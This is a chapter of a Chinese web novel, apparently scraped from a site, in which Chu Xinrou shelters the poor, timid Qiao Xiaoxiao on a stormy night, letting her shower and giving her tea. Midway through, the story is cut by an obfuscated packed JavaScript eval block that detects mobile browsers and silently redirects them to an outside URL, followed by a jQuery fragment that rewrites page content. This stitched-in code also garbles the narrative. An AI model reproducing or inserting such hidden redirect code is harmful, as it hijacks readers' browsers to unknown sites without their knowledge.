上次来的时候，乔潇潇没有进屋，只是在院子里站了站，甚至只偷偷看了楚心柔一眼，就立即低下了头。
如今，她进了门，仍旧不敢乱动，贴着墙边站着，瘦削的肩膀几乎要嵌进墙里。地板上有米白色的地毯，柔软洁净得像一片新雪，她怕踩脏，双脚局促地互相蹭着，帆布鞋边缘的泥渍已经干涸成浅褐色。
楚心柔正弯腰给乔潇潇找拖鞋，找到之后，一转身，看着她小心翼翼地贴在墙边，一动不敢动的样子。
“穿这双吧。”楚心柔把拖鞋放在她脚边，声音不自觉地放轻，“是新的，我去把热水器打开，你冲个澡，不然会感冒的。”
乔潇潇抿了抿唇，喉咙动了动，想说不用那么麻烦，她习惯了洗凉水澡，热水太奢侈了。可话到嘴边，又咽了回去。楚心柔已经转身走向浴室，背影纤细而利落，没给她推拒的机会。
等脚步声远了，乔潇潇才敢抬起头，小心翼翼地打量着四周。
房间好大，好干净。米白和原木色的家具在暖光下泛着柔和的光泽，地板亮得能映出人影，茶几上摆着她叫不出名字的电器，连空气里都飘着淡淡的香气，像是阳光晒过的被子。客厅的吊灯洒下橘黄色的光，暖意洋洋。
楚心柔回来时，发现乔潇潇还站在原地，像只被雨淋透的小猫，连爪子都不敢乱放。她脱了湿透的外套，头发勉强擦过，却仍滴着水，洇湿了一小片肩膀。
楚心柔：“我带你去浴室。”
乔潇潇点点头，声音轻得几乎听不见：“谢谢。”
她跟在楚心柔身后，脚步放得很轻，生怕踩重了会惊扰什么。
外面的风雨仍在呼啸，可屋内的灯光暖融融的，很温暖。
她想起以前在伯母家，每逢这样的暴雨天，伯母总会把妹妹搂在怀里轻声哄着，而她只能缩在杂物间的小床上，听着雷声在屋顶炸开，数着漏雨的嘀嗒声熬到天亮。
楚心柔停下脚步，转身看她：“到了，把脏衣服脱在外面就好。”
乔潇潇正悄悄抬眼望着她的背影，猝不及防对上视线，立刻慌乱地低下头，手指无意识地绞着衣角。
楚心柔察觉到她的不安与小心，唇角微微扬起一个温柔的弧度：“等你洗完澡，我带你熟悉一下家里。”
——家里。
这个从不属于乔潇潇的字眼，在她心底轻轻滚了一圈，带起一丝隐秘的热意。
楚心柔很细心，带她进了浴室后没有立即离开，而是耐心地指着那些瓶瓶罐罐：“红色的按钮是热水，蓝色的是冷水。这个蓝色瓶子是洗发水，旁边淡粉色的是护发素，那个一按就能起泡泡的是沐浴露……”
她的指尖在光洁的瓷砖上投下浅浅的影子，乔潇潇的目光追随着那抹影子，却又在楚心柔看过来时迅速垂下眼睫。这些精致的瓶身上印着她看不懂的英文，散发着淡淡的茉莉香。在伯母家，她只能用一块发黄的肥皂解决所有清洁，偶尔捡到妹妹用剩的过期洗发水，都算是难得的奢侈。
楚心柔的声音像羽毛般轻柔：“有带换洗衣物吗？”
乔潇潇点点头，手指不自觉地攥紧：“有的。”
“好。”楚心柔轻轻带上门，“我就在外面，有事随时叫我。”
“谢谢……”
关上门，乔潇潇迅速脱掉了身上被雨水打湿的衣服。潮湿的布料黏在皮肤上的触感终于消失，她轻轻舒了口气。
潇潇小心翼翼地触碰那些陌生的洗浴用品，指尖在瓶身上摩挲，按压泵头时发出的“咔嗒”声让她肩膀一颤，掌心突然涌出的白色泡沫带着清甜的橙花香气，是她从未闻过的味道。她低头嗅了嗅，忍不住又按了一下，泡沫在指缝间堆积，细腻得像融化的雪。
热水从花洒倾泻而下的那一刻，乔潇潇微微瑟缩了一下，随即被温润的水流包裹。水珠顺着脖颈滑落，抚过她常年紧绷的脊背。她仰起脸，让热水冲刷着脸颊，从未有过的舒服与放松。
虽然被温暖的热水包裹着很舒服，乔潇潇还是用最快的速度洗完了澡。她不敢浪费太多热水，洗发水也只挤了黄豆大小的一点，可即便如此，当她擦着微微泛黄的头发时，仍能感受到从未有过的顺滑。发丝从指缝间滑落，带着淡淡的橙花香气，让她忍不住多摸了几下。
走出浴室时，空气中飘来一阵清甜的花香。楚心柔正在厨房里忙碌，暖黄的灯光洒在她身上，为她镀上一层柔和的轮廓。她微微低着头，纤长的手指正在往茶壶里放入晒干的玫瑰和菊花，热气氤氲中，她的侧脸显得格外温柔。
“这么快就洗好了？”听到脚步声，楚心柔转过头，嘴角扬起浅浅的弧度。
乔潇潇穿的还是上次见面时那身洗得发白的衣服，牛仔裤的膝头已经磨出了细小的毛边，浅色T恤的领口微微泛黄。长期的营养不良让她看起来面黄肌瘦，手腕细得仿佛一折就断，但此刻刚沐浴完的她，湿漉漉的头发披散在肩头，反倒显出几分难得的清秀。
楚心柔将一杯冒着热气的花茶推到餐桌对面，“来喝点热的驱寒，刚煮好的。”
乔潇潇站在原地没动，目光落在那杯茶上。剔透的玻璃杯里，淡金色的茶汤上漂浮着几朵舒展的菊花，热气袅袅升起，在杯沿凝成细小的水珠。她抿了抿唇，喉咙不自觉地滚动了一下。茶这种东西，只在村长宋秋家见过，从来没有喝过，对她来说，太奢侈。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546797|171171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乔潇潇望着那精致的茶盏，指尖在桌沿不安地蜷了蜷，声音细若蚊呐：“我、我不用了……”
楚心柔的目光在她身上停留了片刻，忽然转身从橱柜里拿出一个印着小熊图案的马克杯：“用这个好不好？”她的声音很轻，“菊花茶可以安神，你头发还湿着，喝点热的才不会头疼。”
乔潇潇望着那个憨态可掬的小熊杯子，紧绷的肩膀微不可察地放松了些。她慢慢挪到餐桌前，双手小心翼翼地捧住杯子。
“谢……谢谢。”她低下头，声音轻得几乎融进茶香里。
乔潇潇不懂那些优雅的品茶礼仪，只觉得这样好的东西不该浪费在自己身上，她仰头一饮而尽时，甘甜的茶汤滑过喉咙，带着阳光晒过的菊花特有的温润气息，她抬眼的刹那，窗边的楚心柔正微微侧首。
细雨在玻璃上蜿蜒成透明的溪流，将楚心柔的身影氤氲成一幅水墨。朦胧水光中，她执杯的指尖如玉般剔透，袅袅茶烟在她眉目间流转，为那精致的侧脸描摹出柔和的轮廓。窗外雨打芭蕉的声响忽远忽近，她静立的身影，恍若从古卷中走出的仕女，正在梅树下煮雪烹茶。
乔潇潇慌乱地低头。
突然的自残形愧……
楚心柔看了看表，轻声问：“饿了么？”
已经快十二点了。
经年累月的忍饥挨饿，早已让乔潇潇习惯了空腹的灼烧感。她下意识摇了摇头，可身体却背叛了她的意志，胃部传来细微的痉挛，喉头不自觉地滚动，她悄悄咽了咽口水。
楚心柔将这个小动作尽收眼底，唇角漾起温柔的笑意：“我不是很会做饭，家里还有些挂面，我们煮了吃行吗？”
乔潇潇低着头，手指无意识地绞着衣角。她想说自己可以做饭，在乡下时，一大家子的饭菜都是她张罗的。可刚才经过厨房时偷瞄的那一眼，那些锃亮的厨具、复杂的按钮，都让她望而生畏。
楚心柔感觉到她的局促，柔声问：“一起？”
乔潇潇猛地抬起头，瘦削的小脸在灯光下显得格外生动，她用力点了点尖尖的下巴。
这突如其来的神采让楚心柔微微一怔。
从乔潇潇踏进这个家门开始，她就一直低垂着头，说话细声细气，每个动作都带着小心翼翼的试探，眼里没有露出过这样的光。
乔潇潇察觉到楚心柔注视的目光，立即低下头去。
刚刚，她敏感地捕捉到楚心柔说不是很会做饭，那她可以认真学厨具怎么用，以后给她做饭。
多年寄人篱下的生活早已在乔潇潇的骨子里刻下一个认知：在别人家里，必须要拼命干活、付出劳动，才配得到那一点点立足之地。